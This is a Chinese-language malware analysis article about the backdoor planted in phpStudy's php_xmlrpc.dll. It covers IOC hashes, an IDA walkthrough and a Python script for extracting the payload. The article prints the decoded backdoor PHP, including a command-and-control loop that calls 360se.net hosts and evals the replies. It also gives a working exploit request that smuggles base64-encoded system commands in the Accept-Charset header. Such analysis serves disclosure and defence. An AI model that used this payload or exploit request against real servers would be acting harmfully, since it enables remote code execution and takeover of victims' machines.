php study 后门,phpStudy后门简要分析

问题概要

有问题的版本如下phpStudy20180211版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll

phpStudy20161103版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll

注：这两个官网下载的版本里，都没有发现php5.3版本下存在有问题的php_xmlrpc.dll，打开时会提示存在pdb路径信息。

字符串搜索无发现

来源

环境准备

本次使用的是之前下载安装在本地的phpStudy20180211官网版本

官网下载地址phpStudy 2018版本下载及更新日志 - phpStudy交流社区

从官网下载环境发现此时已修复，当然我几年前本地就已经下载好了2016版本，唉，发现早就是他人的肉鸡了。

这两个官网下载文件，已本地检查过对应的组件，已经修复了，但是hash却与页面给的不同，保留的下载页面如下：

本地算下hash后进行对比，发现2018版是不对的，但本地解压安装后，查对应的组件发现没有问题，很奇怪。

几年前下载的存在问题的2016版本hash如下，与上图官网提供的明显是不同的：

事件源头

这次事件最早由@黑鸟报告，链接如下：

当晚，Chamd5安全团队深夜发布了文章，简要分析了后门的具体来源点。链接如下：

这里简单分析了自己之前早就已经安装在本地的官网的php5.4.45版本下的php_xmlrpc.dll组件，本着动手实(复)践(现)学(工)习(程)的(师)想法，本文就记录一下分析过程。首先是从之前已经下载好的压缩包里选择20180211压缩包，自解压安装后在本地文件夹里选择php5.4.45，在ext文件夹扩展里找到php_xmlrpc.dll。此时先不急着分析，上传下VT查看下结果。

目前只有一家引擎对该组件进行了标记，第一次本地使用IDA打开的时候并没有任何关于pdb信息的提示，只有在官网发布的已编译成二进制文件的dll里，打开时才会提示存在pdb信息。C:\php-sdk\php54dev\vc9\x86\obj\Release_TS\php_xmlrpc.pdb

这里给一下该组件的IOC信息如下：MD5：c339482fd2b233fb0a555b629c0ea5d5

SHA-1：111abc2e79bf39357152b297213ee43f93ef9f81

SHA-256：8f2874e38e5e2d0a3368690badf75a6af8f848d8a976a357499a7c9050c70e04

查一下创建时间：2015:09:02 18:17:43+02:00，可发现后门作者对此时间戳进行了伪造，因为该后门是直接修改源代码后自行编译生成的dll，但把pdb给去掉了.......很奇怪，按理可以伪装一下。

使用010Editor 查看此PE文件，发现该文件的CRC校验值为0，很可疑。通过对比php官方发布的二进制文件可以发现是存在CheckSum值的。

按照其余文章的步骤，首先是要确定恶意代码的位置。IDA打开该dll后，通过查找字符串列表，接着筛选出eval字符(注：eval() 函数把字符串按照 PHP 代码来执行)就可找到实际后门代码位置。

接着按下x交叉引用，可找到具体代码点。

按F5生成伪代码，如图

spprintf函数是php官方自己封装的函数，spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); //v42为缓冲区等于@eval(gzuncompress(',27h,'v42',27h,')); 实际是实现字符串拼接功能

通过找eval关键词可发现多处存在，第一处spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);第二处spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);

恶意代码存在变量v41、v42里，在此处往上回溯该变量，发现对该变量进行了处理。v11 = asc_1000D028;

while ( 1 )

{

if ( *(_DWORD *)v11 == 39 )

{

v8[v10] = 92;

v41[v10 + 1] = *v9;

v10 += 2;

v11 += 8;

}

else

{

v8[v10++] = *v9;

v11 += 4;

}

v9 += 4;

if ( (signed int)v9 >= (signed int)&unk_1000D66C )

break;

v8 = v41;

}

其中1000D028-1000D66C(偏移D028-D66C)这段地址的值很可疑，打开010Editor进行查看下。发现该段内容处于.data区域。

每个值占4个字节， 为dword类型。这里的逻辑是将该段数据处理成char类型后，使用php中的gzuncompress对其解压，接着使用eval执行该脚本内容。接着看第二处恶意代码，spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); 往上回溯，发现unk_1000D66C-unk_1000E5C4(偏移D66C-E5C4)这段内容是会被处理的，之后会赋给v42，所以这段内容也是需要注意的。

提取并解压这两段内容的脚本如下，该脚本来源于微步在线分析文章，很好用，不重复造轮子了。# -*- coding:utf-8 -*-

# !/usr/bin/env python

import os, sys, string, shutil, re

import base64

import struct

import pefile

import ctypes

import zlib

# import put_family_c2

def hexdump(src, length=16):

FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])

lines = []

for c in xrange(0, len(src), length):

chars = src[c:c + length]

hex = ' '.join(["%02x" % ord(x) for x in chars])

printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.')

for x in chars])

lines.append("%04x  %-*s  %s\n" % (c, length * 3, hex, printable))

return ''.join(lines)

def descrypt(data):

try:

# data = base64.encodestring(data)

# print(hexdump(data))

num = 0

data = zlib.decompress(data)

# return result

return (True, result)

except Exception, e:

print(e)

return (False, "")

def GetSectionData(pe, Section):

try:

ep = Section.VirtualAddress

ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase

data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize]

# print(hexdump(data))

return data

except Exception, e:

return None

def GetSecsions(PE):

try:

for section in PE.sections:

# print(hexdump(section.Name))

if (section.Name.replace('\x00', '') == '.data'):

data = GetSectionData(PE, section)

# print(hexdump(data))

return (True, data)

return (False, "")

except Exception, e:

return (False, "")

def get_encodedata(filename):

pe = pefile.PE(filename)

(ret, data) = GetSecsions(pe)

if ret:

flag = "gzuncompress"

offset = data.find(flag)

data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "")

decodedata_1 = zlib.decompress(data[:0x191])

print(hexdump(data[0x191:]))

decodedata_2 = zlib.decompress(data[0x191:])

with open("decode_1.txt", "w") as hwrite:

hwrite.write(decodedata_1)

hwrite.close

with open("decode_2.txt", "w") as hwrite:

hwrite.write(decodedata_2)

hwrite.close

def main(path):

c2s = []

domains = []

file_list = os.listdir(path)

for f in file_list:

print f

file_path = os.path.join(path, f)

get_encodedata(file_path)

if __name__ == "__main__":

# os.getcwd()

path = "php5.4.45"

main(path)

运行后会生成两段解压后的数据，不过此时的数据已经base64编码过。

base64解码如下：@ini_set("display_errors","0");

error_reporting(0);

$h = $_SERVER['HTTP_HOST'];

$p = $_SERVER['SERVER_PORT'];

$fp = fsockopen($h, $p, $errno, $errstr, 5);

if (!$fp) {

} else {

$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";

$out .= "Host: {$h}\r\n";

$out .= "Accept-Encoding: compress,gzip\r\n";

$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);

fclose($fp);

}

base解码如下：@ini_set("display_errors","0");

error_reporting(0);

function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){

$result = "";

$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);

if( !$handle ){

$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);

if( !$handle ){

return "err";

}

}

fwrite($handle, $sendMsg."\n");

while(!feof($handle)){

stream_set_timeout($handle, 2);

$result .= fread($handle, 1024);

$info = stream_get_meta_data($handle);

if ($info['timed_out']) {

break;

}

}

fclose($handle);

return $result;

}

$ds = array("www","bbs","cms","down","up","file","ftp");

$ps = array("20123","40125","8080","80","53");

$n = false;

do {

$n = false;

foreach ($ds as $d){

$b = false;

foreach ($ps as $p){

$result = tcpGet($i,$d.".360se.net",$p);

if ($result != "err"){

$b =true;

break;

}

}

if ($b)break;

}

$info = explode("",$result);

if (count($info)==4){

if (strpos($info[3],"/*Onemore*/") !== false){

$info[3] = str_replace("/*Onemore*/","",$info[3]);

$n=true;

}

@eval(base64_decode($info[3]));

}

}while($n);

恶意代码处于sub_100031F0函数中，在上面发现的两段内容的基础上往上分析，spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);该代码如果要被执行，首先if ( !v12 )的条件需要满足，接着看v12 = strcmp(**v34, aCompressGzip);说明有对该硬编码的字符串有比较。"compress,gzip"，再往上是一个else语句，查一下if语句里的内容。这里的判断逻辑是如果查找到相应的变量后，这里是判断是否存在HTTP_ACCEPT_ENCODING字段，$_SERVER['HTTP_ACCEPT_ENCODING'] 为当前请求的 Accept-Encoding: 头信息的内容。例如：“gzip”。如果存在就判断字段值是否是gzip,deflate，如果也存在就判断是否存在HTTP_ACCEPT_CHARSET字段 $_SERVER['HTTP_ACCEPT_CHARSET']  当前请求的 Accept-Charset: 头信息的内容。例如：“iso-8859-1,*,utf-8”。如果也存在的话就接着取HTTP_ACCEPT_CHARSET字段值，对该值进行base64解码，调用zend_eval_string(v40, 0, &byte_10012884, a3);// 后门代码执行。以上是真的情况，如果上面的判断结果为假，则直接跳过，来到v12 = strcmp(**v34, aCompressGzip);对其判断，如果字符比较相等就继续执行下面的unk_1000D66C-unk_1000E5C4(偏移D66C-E5C4)这段内容调用spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);

注：zend_hash_find()函数是查找变量， https://www.kancloud.cn/fage/phpbook/336297  zend_eval_string会将v40变量的内容作为php脚本执行

如果上图中第一个if判断的结果为假，则直接跳转到下面执行。原理一致如上面一样，同样是对一段硬编码在.data的数据进行处理后，解压后base64解码，调用zend_eval_string执行php脚本。

鉴于C2服务器已经失活，看不懂效果，但有一个远程代码执行的功能可以演示，来源于zend_eval_string(v40, 0, &byte_10012884, a3);// 后门代码执行。

本地演示

首先是运行并启动存在问题的版本

exp如下，来源于文末参考文章：GET / /1.1

Host: 127.0.0.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Accept-Encoding:gzip,deflate

Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

system("net user");经base64编码后为c3lzdGVtKCJuZXQgdXNlciIpOw==，直接构造该请求，需要两个换行，不然会一直处于等待的状态，没有响应。依据逻辑还需要注意的是Accept-Encoding字段值必须为gzip,deflate，才能去判断是否存在Accept-Charset字段，接着取该字段的值，base64解码后执行，造成了远程代码执行，执行了system("net user");。

参考

启发

最后有一点感受，以后对于从业人员经常使用的工具，最好是对其逆向分析做彻底的检查，避免此类事件发生。

*本文作者：jishuzhain@漏洞盒子，转载请注明来自FreeBuf.COM